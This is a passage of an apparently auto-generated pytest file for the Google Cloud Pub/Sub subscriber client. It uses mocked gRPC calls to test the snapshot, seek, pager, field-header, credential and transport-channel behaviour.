with pytest.raises(ValueError):
await client.get_snapshot(
pubsub.GetSnapshotRequest(), snapshot="snapshot_value",
)
def test_list_snapshots(
transport: str = "grpc", request_type=pubsub.ListSnapshotsRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSnapshotsResponse(
next_page_token="next_page_token_value",
)
response = client.list_snapshots(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.ListSnapshotsRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSnapshotsPager)
assert response.next_page_token == "next_page_token_value"
def test_list_snapshots_from_dict():
test_list_snapshots(request_type=dict)
@pytest.mark.asyncio
async def test_list_snapshots_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.ListSnapshotsRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_snapshots), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSnapshotsResponse(next_page_token="next_page_token_value",)
)
response = await client.list_snapshots(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListSnapshotsAsyncPager)
assert response.next_page_token == "next_page_token_value"
def test_list_snapshots_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ListSnapshotsRequest()
request.project = "project/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call:
call.return_value = pubsub.ListSnapshotsResponse()
client.list_snapshots(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "project=project/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_snapshots_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.ListSnapshotsRequest()
request.project = "project/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_snapshots), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSnapshotsResponse()
)
await client.list_snapshots(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "project=project/value",) in kw["metadata"]
def test_list_snapshots_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSnapshotsResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_snapshots(project="project_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].project == "project_value"
def test_list_snapshots_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_snapshots(
pubsub.ListSnapshotsRequest(), project="project_value",
)
@pytest.mark.asyncio
async def test_list_snapshots_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_snapshots), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.ListSnapshotsResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.ListSnapshotsResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_snapshots(project="project_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].project == "project_value"
@pytest.mark.asyncio
async def test_list_snapshots_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_snapshots(
pubsub.ListSnapshotsRequest(), project="project_value",
)
def test_list_snapshots_pager():
client = SubscriberClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),],
next_page_token="abc",
),
pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(),], next_page_token="ghi",
),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("project", ""),)),
)
pager = client.list_snapshots(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, pubsub.Snapshot) for i in results)
def test_list_snapshots_pages():
client = SubscriberClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.list_snapshots), "__call__") as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),],
next_page_token="abc",
),
pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(),], next_page_token="ghi",
),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),],
),
RuntimeError,
)
pages = list(client.list_snapshots(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_snapshots_async_pager():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_snapshots),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),],
next_page_token="abc",
),
pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(),], next_page_token="ghi",
),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),],
),
RuntimeError,
)
async_pager = await client.list_snapshots(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, pubsub.Snapshot) for i in responses)
@pytest.mark.asyncio
async def test_list_snapshots_async_pages():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.list_snapshots),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(), pubsub.Snapshot(),],
next_page_token="abc",
),
pubsub.ListSnapshotsResponse(snapshots=[], next_page_token="def",),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(),], next_page_token="ghi",
),
pubsub.ListSnapshotsResponse(
snapshots=[pubsub.Snapshot(), pubsub.Snapshot(),],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_snapshots(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
def test_create_snapshot(
transport: str = "grpc", request_type=pubsub.CreateSnapshotRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",)
response = client.create_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.CreateSnapshotRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_create_snapshot_from_dict():
test_create_snapshot(request_type=dict)
@pytest.mark.asyncio
async def test_create_snapshot_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.CreateSnapshotRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Snapshot(name="name_value", topic="topic_value",)
)
response = await client.create_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_create_snapshot_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.CreateSnapshotRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call:
call.return_value = pubsub.Snapshot()
client.create_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_snapshot_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.CreateSnapshotRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_snapshot), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot())
await client.create_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_create_snapshot_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.create_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_snapshot(
name="name_value", subscription="subscription_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
assert args[0].subscription == "subscription_value"
def test_create_snapshot_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_snapshot(
pubsub.CreateSnapshotRequest(),
name="name_value",
subscription="subscription_value",
)
@pytest.mark.asyncio
async def test_create_snapshot_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.create_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot())
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_snapshot(
name="name_value", subscription="subscription_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].name == "name_value"
assert args[0].subscription == "subscription_value"
@pytest.mark.asyncio
async def test_create_snapshot_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_snapshot(
pubsub.CreateSnapshotRequest(),
name="name_value",
subscription="subscription_value",
)
def test_update_snapshot(
transport: str = "grpc", request_type=pubsub.UpdateSnapshotRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.update_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.Snapshot(name="name_value", topic="topic_value",)
response = client.update_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.UpdateSnapshotRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_update_snapshot_from_dict():
test_update_snapshot(request_type=dict)
@pytest.mark.asyncio
async def test_update_snapshot_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.UpdateSnapshotRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
pubsub.Snapshot(name="name_value", topic="topic_value",)
)
response = await client.update_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.Snapshot)
assert response.name == "name_value"
assert response.topic == "topic_value"
def test_update_snapshot_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.UpdateSnapshotRequest()
request.snapshot.name = "snapshot.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.update_snapshot), "__call__") as call:
call.return_value = pubsub.Snapshot()
client.update_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot.name=snapshot.name/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_update_snapshot_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.UpdateSnapshotRequest()
request.snapshot.name = "snapshot.name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.update_snapshot), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.Snapshot())
await client.update_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot.name=snapshot.name/value",) in kw[
"metadata"
]
def test_delete_snapshot(
transport: str = "grpc", request_type=pubsub.DeleteSnapshotRequest
):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
response = client.delete_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.DeleteSnapshotRequest()
# Establish that the response is the type that we expect.
assert response is None
def test_delete_snapshot_from_dict():
test_delete_snapshot(request_type=dict)
@pytest.mark.asyncio
async def test_delete_snapshot_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.DeleteSnapshotRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
response = await client.delete_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert response is None
def test_delete_snapshot_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.DeleteSnapshotRequest()
request.snapshot = "snapshot/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call:
call.return_value = None
client.delete_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_delete_snapshot_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.DeleteSnapshotRequest()
request.snapshot = "snapshot/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_snapshot), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
await client.delete_snapshot(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "snapshot=snapshot/value",) in kw["metadata"]
def test_delete_snapshot_flattened():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.delete_snapshot), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = None
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.delete_snapshot(snapshot="snapshot_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0].snapshot == "snapshot_value"
def test_delete_snapshot_flattened_error():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.delete_snapshot(
pubsub.DeleteSnapshotRequest(), snapshot="snapshot_value",
)
@pytest.mark.asyncio
async def test_delete_snapshot_flattened_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client._client._transport.delete_snapshot), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = None
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(None)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.delete_snapshot(snapshot="snapshot_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0].snapshot == "snapshot_value"
@pytest.mark.asyncio
async def test_delete_snapshot_flattened_error_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.delete_snapshot(
pubsub.DeleteSnapshotRequest(), snapshot="snapshot_value",
)
def test_seek(transport: str = "grpc", request_type=pubsub.SeekRequest):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.seek), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = pubsub.SeekResponse()
response = client.seek(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == pubsub.SeekRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.SeekResponse)
def test_seek_from_dict():
test_seek(request_type=dict)
@pytest.mark.asyncio
async def test_seek_async(transport: str = "grpc_asyncio"):
client = SubscriberAsyncClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = pubsub.SeekRequest()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.seek), "__call__") as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.SeekResponse())
response = await client.seek(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the response is the type that we expect.
assert isinstance(response, pubsub.SeekResponse)
def test_seek_field_headers():
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.SeekRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._transport.seek), "__call__") as call:
call.return_value = pubsub.SeekResponse()
client.seek(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
@pytest.mark.asyncio
async def test_seek_field_headers_async():
client = SubscriberAsyncClient(credentials=credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = pubsub.SeekRequest()
request.subscription = "subscription/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(type(client._client._transport.seek), "__call__") as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(pubsub.SeekResponse())
await client.seek(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "subscription=subscription/value",) in kw[
"metadata"
]
def test_credentials_transport_error():
# It is an error to provide credentials and a transport instance.
transport = transports.SubscriberGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(), transport=transport,
)
# It is an error to provide a credentials file and a transport instance.
transport = transports.SubscriberGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = SubscriberClient(
client_options={"credentials_file": "credentials.json"},
transport=transport,
)
# It is an error to provide scopes and a transport instance.
transport = transports.SubscriberGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
with pytest.raises(ValueError):
client = SubscriberClient(
client_options={"scopes": ["1", "2"]}, transport=transport,
)
def test_transport_instance():
# A client may be instantiated with a custom transport instance.
transport = transports.SubscriberGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
client = SubscriberClient(transport=transport)
assert client._transport is transport
def test_transport_get_channel():
# A client may be instantiated with a custom transport instance.
transport = transports.SubscriberGrpcTransport(
credentials=credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
transport = transports.SubscriberGrpcAsyncIOTransport(
credentials=credentials.AnonymousCredentials(),
)
channel = transport.grpc_channel
assert channel
def test_transport_grpc_default():
# A client should use the gRPC transport by default.
client = SubscriberClient(credentials=credentials.AnonymousCredentials(),)
assert isinstance(client._transport, transports.SubscriberGrpcTransport,)
def test_subscriber_base_transport_error():
# Passing both a credentials object and credentials_file should raise an error
with pytest.raises(exceptions.DuplicateCredentialArgs):
transport = transports.SubscriberTransport(
credentials=credentials.AnonymousCredentials(),
credentials_file="credentials.json",
)
def test_subscriber_base_transport():
# Instantiate the base transport.
with mock.patch(
"google.pubsub_v1.services.subscriber.transports.SubscriberTransport.__init__"
) as Transport:
Transport.return_value = None
transport = transports.SubscriberTransport(
credentials=credentials.AnonymousCredentials(),
)
# Every method on the transport should just blindly
# raise NotImplementedError.
methods = (
"create_subscription",
"get_subscription",
"update_subscription",
"list_subscriptions",
"delete_subscription",
"modify_ack_deadline",
"acknowledge",
"pull",
"streaming_pull",
"modify_push_config",
"get_snapshot",
"list_snapshots",
"create_snapshot",
"update_snapshot",
"delete_snapshot",
"seek",
"set_iam_policy",
"get_iam_policy",
"test_iam_permissions",
)
for method in methods:
with pytest.raises(NotImplementedError):
getattr(transport, method)(request=object())
def test_subscriber_base_transport_with_credentials_file():
# Instantiate the base transport with a credentials file
with mock.patch.object(
auth, "load_credentials_from_file"
) as load_creds, mock.patch(
"google.pubsub_v1.services.subscriber.transports.SubscriberTransport._prep_wrapped_messages"
) as Transport:
Transport.return_value = None
load_creds.return_value = (credentials.AnonymousCredentials(), None)
transport = transports.SubscriberTransport(
credentials_file="credentials.json", quota_project_id="octopus",
)
load_creds.assert_called_once_with(
"credentials.json",
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
quota_project_id="octopus",
)
def test_subscriber_auth_adc():
# If no credentials are provided, we should use ADC credentials.
with mock.patch.object(auth, "default") as adc:
adc.return_value = (credentials.AnonymousCredentials(), None)
SubscriberClient()
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
quota_project_id=None,
)
def test_subscriber_transport_auth_adc():
# If credentials and host are not provided, the transport class should use
# ADC credentials.
with mock.patch.object(auth, "default") as adc:
adc.return_value = (credentials.AnonymousCredentials(), None)
transports.SubscriberGrpcTransport(
host="squid.clam.whelk", quota_project_id="octopus"
)
adc.assert_called_once_with(
scopes=(
"https://www.googleapis.com/auth/cloud-platform",
"https://www.googleapis.com/auth/pubsub",
),
quota_project_id="octopus",
)
def test_subscriber_host_no_port():
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="pubsub.googleapis.com"
),
)
assert client._transport._host == "pubsub.googleapis.com:443"
def test_subscriber_host_with_port():
client = SubscriberClient(
credentials=credentials.AnonymousCredentials(),
client_options=client_options.ClientOptions(
api_endpoint="pubsub.googleapis.com:8000"
),
)
assert client._transport._host == "pubsub.googleapis.com:8000"
def test_subscriber_grpc_transport_channel():
channel = grpc.insecure_channel("http://localhost/")
# Check that if channel is provided, mtls endpoint and client_cert_source
# won't be used.
callback = mock.MagicMock()
transport = transports.SubscriberGrpcTransport(
host="squid.clam.whelk",
channel=channel,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=callback,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert not callback.called
def test_subscriber_grpc_asyncio_transport_channel():
channel = aio.insecure_channel("http://localhost/")
# Check that if channel is provided, mtls endpoint and client_cert_source
# won't be used.
callback = mock.MagicMock()
transport = transports.SubscriberGrpcAsyncIOTransport(
host="squid.clam.whelk",
channel=channel,
api_mtls_endpoint="mtls.squid.clam.whelk",
client_cert_source=callback,
)
assert transport.grpc_channel == channel
assert transport._host == "squid.clam.whelk:443"
assert not callback.called
@mock.patch("grpc.ssl_channel_credentials", autospec=True)
@mock.patch("google.api_core.grpc_helpers.create_channel", autospec=True)
def test_subscriber_grpc_transport_channel_mtls_with_client_cert_source(
grpc_create_channel, grpc_ssl_channel_cred
):
# Check that if channel is None, but api_mtls_endpoint and client_cert_source
# are provided, then a mTLS channel will be created.
mock_cred = mock.Mock()
mock_ssl_cred = mock.Mock()
grpc_ssl_channel_cred.return_value = mock_ssl_cred
